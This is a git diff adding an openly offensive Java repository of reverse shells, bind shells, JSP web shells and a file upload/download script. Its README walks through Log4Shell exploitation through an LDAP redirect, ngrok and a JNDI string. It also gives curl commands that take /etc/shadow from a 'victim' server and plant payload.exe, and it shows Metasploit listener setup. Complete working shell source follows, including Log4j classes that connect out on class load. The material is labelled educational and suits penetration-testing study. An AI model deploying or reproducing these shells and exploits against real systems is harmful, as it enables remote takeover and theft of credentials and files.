diff --git a/.gitattributes b/.gitattributes new file mode 100644 index 0000000..dfe0770 --- /dev/null +++ b/.gitattributes @@ -0,0 +1,2 @@ +# Auto detect text files and perform LF normalization +* text=auto diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d5d0cfe --- /dev/null +++ b/.gitignore @@ -0,0 +1,70 @@ +#NetBeans +**/nbproject/private/ +**/nbproject/Makefile-*.mk +**/nbproject/Package-*.bash +build/ +nbbuild/ +dist/ +nbdist/ +.nb-gradle/ + +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +!/jar/*.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* + +.gradle +/build/ + +# Ignore Gradle GUI config +gradle-app.setting + +# Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored) +!gradle-wrapper.jar + +# Cache of project +.gradletasknamecache + +# # Work around https://youtrack.jetbrains.com/issue/IDEA-116898 +# gradle/wrapper/gradle-wrapper.properties +/src/Reverse.Shell/target/ + +target/ +pom.xml.tag +pom.xml.releaseBackup +pom.xml.versionsBackup +pom.xml.next +release.properties +dependency-reduced-pom.xml +buildNumber.properties +.mvn/timing.properties +.mvn/wrapper/maven-wrapper.jar +/src/Reverse Shell/nbproject/private/ +/src/Reverse Shell/build/ +/src/Reverse Shell/dist/ +/src/Bind Shell/nbproject/private/ +/src/Bind Shell/build/ +/src/Bind Shell/dist/ +/src/Web Shell/nbproject/private/ +/src/Web Shell/build/ +/src/Web Shell/dist/ diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..3f3642b --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Ivan Šincek + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/README.md b/README.md new file mode 100644 index 0000000..5eb1523 --- /dev/null +++ b/README.md @@ -0,0 +1,204 @@ +# Java Reverse TCP + +JAR, JSP, and Java files for communicating with a remote host. + +Remote host will have a full control over the client and all the underlying system commands. + +Works on Linux OS and macOS with `/bin/sh` and Windows OS with `cmd.exe`. Program will automatically detect an underlying OS. + +Works with both `ncat` and `multi/handler`. + +Built with JDK v8 on Apache NetBeans IDE v17 (64-bit). All the files require Java SE v8 or greater to run. + +JAR and Java files were tested with Java v8 update 282 on Windows 10 Enterprise OS (64-bit) and Kali Linux v2023.1 (64-bit). + +JSP scripts were tested on Apache Tomcat Version v7.0.100 on XAMPP for Windows v7.4.3 (64-bit). + +Made for educational purposes. I hope it will help! + +## Table of Contents + +* [JAR Shells](#jar-shells) +* [Log4j Shells](#log4j-shells) +* [JSP Shells](#jsp-shells) + * [JSP Reverse Shell](#jsp-reverse-shell) + * [JSP Web Shells](#jsp-web-shells) +* [JSP File Upload/Download Script](#jsp-file-uploaddownload-script) + * [Case 1: Upload the Script to the Victim’s Server](#case-1-upload-the-script-to-the-victims-server) + * [Case 2: Upload the Script to Your Server](#case-2-upload-the-script-to-your-server) +* [Set Up a Listener](#set-up-a-listener) +* [Runtime](#runtime) + +## JAR Shells + +Check the source code of JAR files: + +* [/src/Reverse Shell/src/reverse/shell/ReverseShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Reverse%20Shell/src/reverse/shell/ReverseShell.java) +* [/src/Reverse Shell/src/reverse/shell/BindShell.java](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Bind%20Shell/src/bind/shell/BindShell.java) + +--- + +Open your preferred console from [/jar/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/jar) and run the following commands: + +```fundamental +java -jar Reverse_Shell.jar 192.168.8.185 9000 + +java -jar Bind_Shell.jar 9000 +``` + +## Log4j Shells + +This PoC was tested on Kali Linux v2021.4 (64-bit). + +**Change the IP address and port number inside the source files as necessary.** + +Open your preferred console from [/log4j/](https://github.com/ivan-sincek/java-reverse-tcp/tree/main/log4j) and run the following commands: + +Compile the source file: + +```fundamental +javac ReverseShell.java +``` + +Start a local web server from the same directory as the compiled class file (i.e. `ReverseShell.class`): + +```fundamental +python3 -m http.server 9090 + +python3 -m http.server 9090 --directory somedirectory +``` + +Download and build LDAP server: + +```bash +apt-update && apt-get install maven + +git clone https://github.com/mbechler/marshalsec && cd marshalsec && mvn clean package -DskipTests && cd target +``` + +Start a local LDAP server and create a reference to the compiled class file on your local web server: + +```fundamental +java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:9090/#ReverseShell +``` + +Credits to the author for [marshalsec](https://github.com/mbechler/marshalsec)! + +Give the local LDAP server a public domain with [ngrok](https://ngrok.com): + +```fundamental +./ngrok tcp 1389 +``` + +Build the JNDI string (obfuscate it however you like): + +```fundamental +${jndi:ldap://x.tcp.ngrok.io:13337/ReverseShell} +``` + +## JSP Shells + +### JSP Reverse Shell + +**Change the IP address and port number inside the script as necessary.** + +Copy [/jsp/jsp_reverse_shell.jsp](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/jsp_reverse_shell.jsp) to your projects's root directory or upload it to your target's web server. + +Navigate to the file with your preferred web browser. + +### JSP Web Shells + +Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_post.jsp) based on HTTP POST request. + +Check the [simple JSP web shell](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/simple_jsp_web_shell_get.jsp) based on HTTP GET request. You must [URL encode](https://www.urlencoder.org) your commands. + +## JSP File Upload/Download Script + +Check the [simple JSP file upload/download script](https://github.com/ivan-sincek/java-reverse-tcp/blob/main/src/Web%20Shell/web/files.jsp) based on HTTP POST request for file upload and HTTP GET request for file download. + +When downloading a file, you should [URL encode](https://www.urlencoder.org) the file path, and specify name of the output file. + +### Case 1: Upload the Script to the Victim’s Server + +Navigate to the script on the victim's server with your preferred web browser, or use cURL from you PC. + +Upload a file to the victim's server web root directory from your PC: + +```fundamental +curl -s -k -X POST https://victim.com/files.jsp -F file=@/root/payload.exe +``` + +Download a file from the victim's PC to your PC: + +```fundamental +curl -s -k -X GET https://victim.com/files.jsp?file=/etc/shadow -o shadow +``` + +If you use reverse shell and you have elevated your initial privileges, this script might not have the same privileges as your shell. To download a certain file, you might need to copy the file to the web root directory and give it necessary read permissions. + +### Case 2: Upload the Script to Your Server + +From your JSP reverse shell, run the following cURL commands. + +Upload a file from the victim's PC to your server web root directory: + +```fundamental +curl -s -k -X POST https://your-server.com/files.jsp -F file=@/etc/shadow +``` + +Download a file from your PC to the victim's PC: + +```fundamental +curl -s -k -X GET https://your-server.com/files.jsp?file=/root/payload.exe -o payload.exe + +curl -s -k -X GET https://your-server.com/payload.exe -o payload.exe +``` + +## Set Up a Listener + +To set up a listener, open your preferred console on Kali Linux and run one of the examples below. + +Set up `ncat` listener: + +```fundamental +ncat -nvlp 9000 +``` + +Set up `multi/handler` listener: + +```fundamental +msfconsole -q + +use exploit/multi/handler + +set PAYLOAD windows/shell_reverse_tcp + +set LHOST 192.168.8.185 + +set LPORT 9000 + +exploit +``` + +## Runtime + +```fundamental +┌──(root💀kali)-[~/Desktop] +└─# ncat -nvlp 9000 +Ncat: Version 7.93 ( https://nmap.org/ncat ) +Ncat: Listening on :::9000 +Ncat: Listening on 0.0.0.0:9000 +Ncat: Connection from 192.168.1.117. +Ncat: Connection from 192.168.1.117:49895. +Microsoft Windows [Version 10.0.18363.1556] +(c) 2019 Microsoft Corporation. All rights reserved. + +C:\Users\W10\Desktop\Reverse Shell>whoami +desktop-4kniu10\w10 + +C:\Users\W10\Desktop\Reverse Shell>ver + +Microsoft Windows [Version 10.0.18363.1556] + +C:\Users\W10\Desktop\Reverse Shell> +``` diff --git a/jar/Bind_Shell.jar b/jar/Bind_Shell.jar new file mode 100644 index 0000000..97038a3 Binary files /dev/null and b/jar/Bind_Shell.jar differ diff --git a/jar/Reverse_Shell.jar b/jar/Reverse_Shell.jar new file mode 100644 index 0000000..9d0229d Binary files /dev/null and b/jar/Reverse_Shell.jar differ diff --git a/jsp/reverse/jsp_reverse_shell.jsp b/jsp/reverse/jsp_reverse_shell.jsp new file mode 100644 index 0000000..1c1b7ae --- /dev/null +++ b/jsp/reverse/jsp_reverse_shell.jsp @@ -0,0 +1,145 @@ +<%@page import="java.net.SocketTimeoutException"%> +<%@page import="java.util.Arrays"%> +<%@page import="java.net.Socket"%> +<%@page import="java.io.IOException"%> +<%@page import="java.io.OutputStream"%> +<%@page import="java.io.InputStream"%> +<%@page import="java.net.InetSocketAddress"%> + +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- v3.0 --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> +<%-- Works on Linux OS, macOS, and Windows OS. --%> + +<%! + public class ReverseShell { + + private InetSocketAddress addr = null; + private String os = null; + private String shell = null; + private byte[] buffer = null; + private int clen = 0; + private boolean error = false; + private String message = null; + + public ReverseShell(String addr, int port) { + this.addr = new InetSocketAddress(addr, port); + } + + private boolean detect() { + boolean detected = true; + this.os = System.getProperty("os.name").toUpperCase(); + if (this.os.contains("LINUX") || this.os.contains("MAC")) { + this.os = "LINUX"; + this.shell = "/bin/sh"; + } else if (this.os.contains("WIN")) { + this.os = "WINDOWS"; + this.shell = "cmd.exe"; + } else { + detected = false; + this.message = "SYS_ERROR: Underlying operating system is not supported, program will now exit...\n"; + } + return detected; + } + + private String getMessage() { + return this.message; + } + + // strings in Java are immutable, so we need to avoid using them to minimize the data in memory + private void brw(InputStream input, OutputStream output, String iname, String oname) { + int bytes = 0; + try { + do { + if (this.os.equals("WINDOWS") && iname.equals("STDOUT") && this.clen > 0) { + // for some reason Windows OS pipes STDIN into STDOUT + // we do not like that + // we need to discard the data from the stream + do { + bytes = input.read(this.buffer, 0, this.clen >= this.buffer.length ? this.buffer.length : this.clen); + this.clen -= this.clen >= this.buffer.length ? this.buffer.length : this.clen; + } while (bytes > 0 && this.clen > 0); + } else { + bytes = input.read(this.buffer, 0, this.buffer.length); + if (bytes > 0) { + output.write(this.buffer, 0, bytes); + output.flush(); + if (this.os.equals("WINDOWS") && oname.equals("STDIN")) { + this.clen += bytes; + } + } else if (iname.equals("SOCKET")) { + this.error = true; + this.message = "SOC_ERROR: Shell connection has been terminated\n"; + } + } + } while (input.available() > 0); + } catch (SocketTimeoutException ex) {} catch (IOException ex) { + this.error = true; + this.message = String.format("STRM_ERROR: Cannot read from %s or write to %s, program will now exit...\n", iname, oname); + } + } + + public void run() { + if (this.detect()) { + Socket client = null; + OutputStream socin = null; + InputStream socout = null; + + Process process = null; + OutputStream stdin = null; + InputStream stdout = null; + InputStream stderr = null; + + try { + client = new Socket(); + client.setSoTimeout(100); + client.connect(this.addr); + socin = client.getOutputStream(); + socout = client.getInputStream(); + + this.buffer = new byte[1024]; + + process = new ProcessBuilder(this.shell).redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).redirectError(ProcessBuilder.Redirect.PIPE).start(); + stdin = process.getOutputStream(); + stdout = process.getInputStream(); + stderr = process.getErrorStream(); + + do { + if (!process.isAlive()) { + this.message = "PROC_ERROR: Shell process has been terminated\n"; break; + } + this.brw(socout, stdin, "SOCKET", "STDIN"); + if (stderr.available() > 0) { this.brw(stderr, socin, "STDERR", "SOCKET"); } + if (stdout.available() > 0) { this.brw(stdout, socin, "STDOUT", "SOCKET"); } + } while (!this.error); + } catch (IOException ex) { + this.message = String.format("ERROR: %s\n", ex.getMessage()); + } finally { + if (stdin != null) { try { stdin.close() ; } catch (IOException ex) {} } + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} } + if (stderr != null) { try { stderr.close(); } catch (IOException ex) {} } + if (process != null) { process.destroy(); } + + if (socin != null) { try { socin.close() ; } catch (IOException ex) {} } + if (socout != null) { try { socout.close(); } catch (IOException ex) {} } + if (client != null) { try { client.close(); } catch (IOException ex) {} } + + if (this.buffer != null) { Arrays.fill(this.buffer, (byte)0); } + } + } + } + } +%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + +<% + out.print("
");
+    // change the host address and/or port number as necessary
+    ReverseShell sh = new ReverseShell("127.0.0.1", 9000);
+    sh.run();
+    if (sh.getMessage() != null) { out.print(sh.getMessage()); }
+    sh = null;
+    System.gc();
+    out.print("
"); +%> diff --git a/jsp/web/files.jsp b/jsp/web/files.jsp new file mode 100644 index 0000000..975c7af --- /dev/null +++ b/jsp/web/files.jsp @@ -0,0 +1,76 @@ +<%@page import="java.nio.file.Files"%> +<%@page import="java.nio.file.Paths"%> +<%@page import="java.io.File"%> +<%@page import="org.apache.tomcat.util.http.fileupload.FileItem"%> +<%@page import="org.apache.tomcat.util.http.fileupload.servlet.ServletRequestContext"%> +<%@page import="org.apache.tomcat.util.http.fileupload.servlet.ServletFileUpload"%> +<%@page import="org.apache.tomcat.util.http.fileupload.disk.DiskFileItemFactory"%> + +<%@page import="java.util.Iterator"%> +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- v3.0 --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> + +<%-- modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell --%> +<%-- don't forget to change the script name in the action attribute --%> +<%-- when downloading a file, you should URL encode the file path --%> + +<% + // your parameter/key here + String parameter = "file"; + String output = ""; + if (request.getMethod() == "POST" && request.getContentType() != null && request.getContentType().startsWith("multipart/form-data")) { + Iterator files = new ServletFileUpload(new DiskFileItemFactory()).parseRequest(new ServletRequestContext(request)).iterator(); + while (files.hasNext()) { + FileItem file = (FileItem)files.next(); + if (file.getFieldName().equals(parameter)) { + try { + output = file.getName(); + int pos = output.lastIndexOf(File.separator); + if (pos >= 0) { + output = output.substring(pos + 1); + } + output = System.getProperty("user.dir") + File.separator + output; + file.write(new File(output)); + output = String.format("SUCCESS: File was uploaded to '%s'\n", output); + } catch (Exception ex) { + output = String.format("ERROR: %s\n", ex.getMessage()); + } + } + file = null; + } + files = null; + } + if (request.getMethod() == "GET" && request.getParameter(parameter) != null && request.getParameter(parameter).trim().length() > 0) { + try { + output = request.getParameter(parameter).trim(); + response.setHeader("Content-Type", "application/octet-stream"); + response.setHeader("Content-Disposition", String.format("attachment; filename=\"%s\"", Paths.get(output).getFileName())); + response.getOutputStream().write(Files.readAllBytes(Paths.get(output))); + response.getOutputStream().flush(); + response.getOutputStream().close(); + } catch (Exception ex) { + output = String.format("ERROR: %s\n", ex.getMessage()); + } + } + // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML + // out.print("
" + output + "
"); output = null; System.gc(); +%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + + + + + JSP File Upload/Download + + + + +
+ + +
+
<% out.print(output); output = null; System.gc(); %>
+ + diff --git a/jsp/web/simple_jsp_web_shell_get.jsp b/jsp/web/simple_jsp_web_shell_get.jsp new file mode 100644 index 0000000..3d5158e --- /dev/null +++ b/jsp/web/simple_jsp_web_shell_get.jsp @@ -0,0 +1,72 @@ +<%@page import="java.util.Arrays"%> +<%@page import="java.io.IOException"%> +<%@page import="java.nio.charset.StandardCharsets"%> +<%@page import="java.io.InputStream"%> + +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- v3.0 --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> +<%-- Works on Linux OS, macOS, and Windows OS. --%> + +<%-- modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell --%> +<%-- you must URL encode your commands --%> + +<% + // your parameter/key here + String parameter = "command"; + String output = ""; + if (request.getMethod() == "GET" && request.getParameter(parameter) != null && request.getParameter(parameter).trim().length() > 0) { + String os = System.getProperty("os.name").toUpperCase(); + String shell = null; + if (os.contains("LINUX") || os.contains("MAC")) { + shell = "/bin/sh -c"; + } else if (os.contains("WIN")) { + shell = "cmd.exe /c"; + } else { + output = "SYS_ERROR: Underlying operating system is not supported\n"; + } + if (shell != null) { + Process process = null; + InputStream stdout = null; + byte[] buffer = null; + + try { + process = Runtime.getRuntime().exec(String.format("%s \"(%s) 2>&1\"", shell, request.getParameter(parameter).trim())); + stdout = process.getInputStream(); + buffer = new byte[1024]; + + int bytes = 0; + do { + bytes = stdout.read(buffer, 0, buffer.length); + if (bytes > 0) { + output += new String(buffer, 0, bytes, StandardCharsets.UTF_8); + } + } while (bytes > 0); + output = output.replace("<", "<"); + output = output.replace(">", ">"); + } catch (IOException ex) { + output = String.format("ERROR: %s\n", ex); + } finally { + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} stdout = null; } + if (process != null) { process.destroy(); process = null; } + if (buffer != null) { Arrays.fill(buffer, (byte)0); buffer = null; } + } + } + // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML + // out.print("
" + output + "
"); output = null; System.gc(); + } +%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + + + + + Simple JSP Web Shell + + + + +
<% out.print(output); output = null; System.gc(); %>
+ + diff --git a/jsp/web/simple_jsp_web_shell_post.jsp b/jsp/web/simple_jsp_web_shell_post.jsp new file mode 100644 index 0000000..d3e79bc --- /dev/null +++ b/jsp/web/simple_jsp_web_shell_post.jsp @@ -0,0 +1,75 @@ +<%@page import="java.util.Arrays"%> +<%@page import="java.io.IOException"%> +<%@page import="java.nio.charset.StandardCharsets"%> +<%@page import="java.io.InputStream"%> + +<%-- Copyright (c) 2021 Ivan Šincek --%> +<%-- v3.0 --%> +<%-- Requires Java SE v8 or greater, JDK v8 or greater, and Java EE v5 or greater. --%> +<%-- Works on Linux OS, macOS, and Windows OS. --%> + +<%-- modify the script name and request parameter name to random ones to prevent others form accessing and using your web shell --%> +<%-- don't forget to change the script name in the action attribute --%> + +<% + // your parameter/key here + String parameter = "command"; + String output = ""; + if (request.getMethod() == "POST" && request.getParameter(parameter) != null && request.getParameter(parameter).trim().length() > 0) { + String os = System.getProperty("os.name").toUpperCase(); + String shell = null; + if (os.contains("LINUX") || os.contains("MAC")) { + shell = "/bin/sh -c"; + } else if (os.contains("WIN")) { + shell = "cmd.exe /c"; + } else { + output = "SYS_ERROR: Underlying operating system is not supported\n"; + } + if (shell != null) { + Process process = null; + InputStream stdout = null; + byte[] buffer = null; + + try { + process = Runtime.getRuntime().exec(String.format("%s \"(%s) 2>&1\"", shell, request.getParameter(parameter).trim())); + stdout = process.getInputStream(); + buffer = new byte[1024]; + + int bytes = 0; + do { + bytes = stdout.read(buffer, 0, buffer.length); + if (bytes > 0) { + output += new String(buffer, 0, bytes, StandardCharsets.UTF_8); + } + } while (bytes > 0); + output = output.replace("<", "<"); + output = output.replace(">", ">"); + } catch (IOException ex) { + output = String.format("ERROR: %s\n", ex); + } finally { + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} stdout = null; } + if (process != null) { process.destroy(); process = null; } + if (buffer != null) { Arrays.fill(buffer, (byte)0); buffer = null; } + } + } + // if you do not want to use the whole HTML as below, uncomment this line and delete the whole HTML + // out.print("
" + output + "
"); output = null; System.gc(); + } +%> + +<%@page contentType="text/html" pageEncoding="UTF-8"%> + + + + + Simple JSP Web Shell + + + + +
+ +
+
<% out.print(output); output = null; System.gc(); %>
+ + diff --git a/log4j/BindShell.java b/log4j/BindShell.java new file mode 100644 index 0000000..22653d7 --- /dev/null +++ b/log4j/BindShell.java @@ -0,0 +1,138 @@ +// Copyright (c) 2021 Ivan Šincek +// v2.9 +// Requires Java SE v8 or greater and JDK v8 or greater. +// Works on Linux OS, macOS, and Windows OS. + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketTimeoutException; +import java.util.Arrays; + +public class BindShell { + + // change the port number as necessary + private static int port = 9000; + private static String os = null; + private static String shell = null; + private static byte[] buffer = null; + private static int clen = 0; + private static boolean error = false; + + private static boolean detect() { + boolean detected = true; + os = System.getProperty("os.name").toUpperCase(); + if (os.contains("LINUX") || os.contains("MAC")) { + os = "LINUX"; + shell = "/bin/sh"; + } else if (os.contains("WIN")) { + os = "WINDOWS"; + shell = "cmd.exe"; + } else { + detected = false; + System.out.print("SYS_ERROR: Underlying operating system is not supported, program will now exit...\n"); + } + return detected; + } + + // strings in Java are immutable, so we need to avoid using them to minimize the data in memory + private static void brw(InputStream input, OutputStream output, String iname, String oname) { + int bytes = 0; + try { + do { + if (os.equals("WINDOWS") && iname.equals("STDOUT") && clen > 0) { + // for some reason Windows OS pipes STDIN into STDOUT + // we do not like that + // we need to discard the data from the stream + do { + bytes = input.read(buffer, 0, clen >= buffer.length ? buffer.length : clen); + clen -= clen >= buffer.length ? buffer.length : clen; + } while (bytes > 0 && clen > 0); + } else { + bytes = input.read(buffer, 0, buffer.length); + if (bytes > 0) { + output.write(buffer, 0, bytes); + output.flush(); + if (os.equals("WINDOWS") && oname.equals("STDIN")) { + clen += bytes; + } + } else if (iname.equals("SOCKET")) { + error = true; + System.out.print("SOC_ERROR: Shell connection has been terminated\n\n"); + } + } + } while (input.available() > 0); + } catch (SocketTimeoutException ex) {} catch (IOException ex) { + error = true; + System.out.print(String.format("STRM_ERROR: Cannot read from %s or write to %s, program will now exit...\n\n", iname, oname)); + } + } + + public static void run() { + if (detect()) { + ServerSocket listener = null; + + Socket client = null; + OutputStream socin = null; + InputStream socout = null; + + Process process = null; + OutputStream stdin = null; + InputStream stdout = null; + InputStream stderr = null; + + System.out.print("Backdoor is up and running...\n\n"); + System.out.print("Waiting for client to connect...\n\n"); + try { + listener = new ServerSocket(port); + do { + client = listener.accept(); + } while (client == null); + client.setSoTimeout(100); + socin = client.getOutputStream(); + socout = client.getInputStream(); + + buffer = new byte[1024]; + + process = new ProcessBuilder(shell).redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).redirectError(ProcessBuilder.Redirect.PIPE).start(); + stdin = process.getOutputStream(); + stdout = process.getInputStream(); + stderr = process.getErrorStream(); + + System.out.print("Client has connected!\n\n"); + do { + if (!process.isAlive()) { + System.out.print("PROC_ERROR: Shell process has been terminated\n\n"); break; + } + brw(socout, stdin, "SOCKET", "STDIN"); + if (stderr.available() > 0) { brw(stderr, socin, "STDERR", "SOCKET"); } + if (stdout.available() > 0) { brw(stdout, socin, "STDOUT", "SOCKET"); } + } while (!error); + System.out.print("Client has disconnected!\n"); + } catch (IOException ex) { + System.out.print(String.format("ERROR: %s\n", ex.getMessage())); + } finally { + if (stdin != null) { try { stdin.close() ; } catch (IOException ex) {} } + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} } + if (stderr != null) { try { stderr.close(); } catch (IOException ex) {} } + if (process != null) { process.destroy(); } + + if (socin != null) { try { socin.close() ; } catch (IOException ex) {} } + if (socout != null) { try { socout.close(); } catch (IOException ex) {} } + if (client != null) { try { client.close(); } catch (IOException ex) {} } + + if (buffer != null) { Arrays.fill(buffer, (byte)0); } + + if (listener != null) { try { listener.close(); } catch (IOException ex) {} } + } + } + } + + static { + run(); + System.gc(); + } + +} diff --git a/log4j/ReverseShell.java b/log4j/ReverseShell.java new file mode 100644 index 0000000..778b7c7 --- /dev/null +++ b/log4j/ReverseShell.java @@ -0,0 +1,130 @@ +// Copyright (c) 2021 Ivan Šincek +// v2.9 +// Requires Java SE v8 or greater and JDK v8 or greater. +// Works on Linux OS, macOS, and Windows OS. + +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.net.SocketTimeoutException; +import java.util.Arrays; + +public class ReverseShell { + + // change the host address and/or port number as necessary + private static InetSocketAddress addr = new InetSocketAddress("127.0.0.1", 9000); + private static String os = null; + private static String shell = null; + private static byte[] buffer = null; + private static int clen = 0; + private static boolean error = false; + + private static boolean detect() { + boolean detected = true; + os = System.getProperty("os.name").toUpperCase(); + if (os.contains("LINUX") || os.contains("MAC")) { + os = "LINUX"; + shell = "/bin/sh"; + } else if (os.contains("WIN")) { + os = "WINDOWS"; + shell = "cmd.exe"; + } else { + detected = false; + System.out.print("SYS_ERROR: Underlying operating system is not supported, program will now exit...\n"); + } + return detected; + } + + // strings in Java are immutable, so we need to avoid using them to minimize the data in memory + private static void brw(InputStream input, OutputStream output, String iname, String oname) { + int bytes = 0; + try { + do { + if (os.equals("WINDOWS") && iname.equals("STDOUT") && clen > 0) { + // for some reason Windows OS pipes STDIN into STDOUT + // we do not like that + // we need to discard the data from the stream + do { + bytes = input.read(buffer, 0, clen >= buffer.length ? buffer.length : clen); + clen -= clen >= buffer.length ? buffer.length : clen; + } while (bytes > 0 && clen > 0); + } else { + bytes = input.read(buffer, 0, buffer.length); + if (bytes > 0) { + output.write(buffer, 0, bytes); + output.flush(); + if (os.equals("WINDOWS") && oname.equals("STDIN")) { + clen += bytes; + } + } else if (iname.equals("SOCKET")) { + error = true; + System.out.print("SOC_ERROR: Shell connection has been terminated\n\n"); + } + } + } while (input.available() > 0); + } catch (SocketTimeoutException ex) {} catch (IOException ex) { + error = true; + System.out.print(String.format("STRM_ERROR: Cannot read from %s or write to %s, program will now exit...\n\n", iname, oname)); + } + } + + public static void run() { + if (detect()) { + Socket client = null; + OutputStream socin = null; + InputStream socout = null; + + Process process = null; + OutputStream stdin = null; + InputStream stdout = null; + InputStream stderr = null; + + try { + client = new Socket(); + client.setSoTimeout(100); + client.connect(addr); + socin = client.getOutputStream(); + socout = client.getInputStream(); + + buffer = new byte[1024]; + + process = new ProcessBuilder(shell).redirectInput(ProcessBuilder.Redirect.PIPE).redirectOutput(ProcessBuilder.Redirect.PIPE).redirectError(ProcessBuilder.Redirect.PIPE).start(); + stdin = process.getOutputStream(); + stdout = process.getInputStream(); + stderr = process.getErrorStream(); + + System.out.print("Backdoor is up and running...\n\n"); + do { + if (!process.isAlive()) { + System.out.print("PROC_ERROR: Shell process has been terminated\n\n"); break; + } + brw(socout, stdin, "SOCKET", "STDIN"); + if (stderr.available() > 0) { brw(stderr, socin, "STDERR", "SOCKET"); } + if (stdout.available() > 0) { brw(stdout, socin, "STDOUT", "SOCKET"); } + } while (!error); + System.out.print("Backdoor will now exit...\n"); + } catch (IOException ex) { + System.out.print(String.format("ERROR: %s\n", ex.getMessage())); + } finally { + if (stdin != null) { try { stdin.close() ; } catch (IOException ex) {} } + if (stdout != null) { try { stdout.close(); } catch (IOException ex) {} } + if (stderr != null) { try { stderr.close(); } catch (IOException ex) {} } + if (process != null) { process.destroy(); } + + if (socin != null) { try { socin.close() ; } catch (IOException ex) {} } + if (socout != null) { try { socout.close(); } catch (IOException ex) {} } + if (client != null) { try { client.close(); } catch (IOException ex) {} } + + if (buffer != null) { Arrays.fill(buffer, (byte)0); } + } + } + } + + static { + run(); + System.gc(); + } + +} diff --git a/src/Bind Shell/build.xml b/src/Bind Shell/build.xml new file mode 100644 index 0000000..8aa5a1c --- /dev/null +++ b/src/Bind Shell/build.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + Builds, tests, and runs the project Bind Shell. + + + diff --git a/src/Bind Shell/manifest.mf b/src/Bind Shell/manifest.mf new file mode 100644 index 0000000..328e8e5 --- /dev/null +++ b/src/Bind Shell/manifest.mf @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +X-COMMENT: Main-Class will be added automatically by build + diff --git a/src/Bind Shell/nbproject/build-impl.xml b/src/Bind Shell/nbproject/build-impl.xml new file mode 100644 index 0000000..388c4e8 --- /dev/null +++ b/src/Bind Shell/nbproject/build-impl.xml @@ -0,0 +1,1771 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set src.dir + Must set test.src.dir + Must set build.dir + Must set dist.dir + Must set build.classes.dir + Must set dist.javadoc.dir + Must set build.test.classes.dir + Must set build.test.results.dir + Must set build.classes.excludes + Must set dist.jar + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Must set javac.includes + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 